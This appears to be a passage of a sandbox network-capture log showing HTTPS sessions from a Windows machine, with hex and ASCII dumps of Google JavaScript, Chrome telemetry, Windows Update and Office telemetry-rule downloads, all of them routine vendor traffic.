2024-11-01 02:45:21 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-01 02:45:21 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-01 02:45:21 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-01 02:45:21 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-01 02:45:21 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-01 02:45:21 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-01 02:45:21 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-01 02:45:21 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49752	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-01 02:45:22 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=136877 Date: Fri, 01 Nov 2024 02:45:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-01 02:45:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49751	142.250.186.174	443	7212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:22 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 02:45:22 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 34 32 39 31 31 39 36 34 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730429119641",null,null,null,
2024-11-01 02:45:22 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=BZXdQzakVX5si_YP2Bbz-iJcSowfS6-RMOp-_IrNp1DqQOlM8pnWg9UP0X6z17jS6lErOnyNw5eUHAiS00Rlp0ZEiORhd2cRIP4Wk1gfp75nIALgTm6SqpxujeCIgCaWu7NFae4xvcjTPzUjP_LEqVRekXWgfcjRsjVw5OV3eUfi-GfAD_A; expires=Sat, 03-May-2025 02:45:22 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 01 Nov 2024 02:45:22 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 01 Nov 2024 02:45:22 GMT Connection: close Transfer-Encoding: chunked
2024-11-01 02:45:22 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-01 02:45:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xPc57FFhEE2BY+F&MD=PAo268AM HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-01 02:45:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d7dc98b2-786c-4c0f-872b-11f842b40f62 MS-RequestId: 12bfa348-4aad-4532-b737-0477d63cc972 MS-CV: ZpAPs8eW6EC+BfSG.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 01 Nov 2024 02:45:23 GMT Connection: close Content-Length: 24490
2024-11-01 02:45:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-01 02:45:23 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:56 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:45:56 UTC	561	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:56 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 30 Oct 2024 23:56:08 GMT ETag: "0x8DCF93E6CAB67A0" x-ms-request-id: 3ed0e151-601e-0032-5264-2beebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024556Z-16849878b7898p5f6vryaqvp580000000bbg0000000003f8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:45:56 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-01 02:45:56 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-11-01 02:45:56 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-11-01 02:45:56 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" 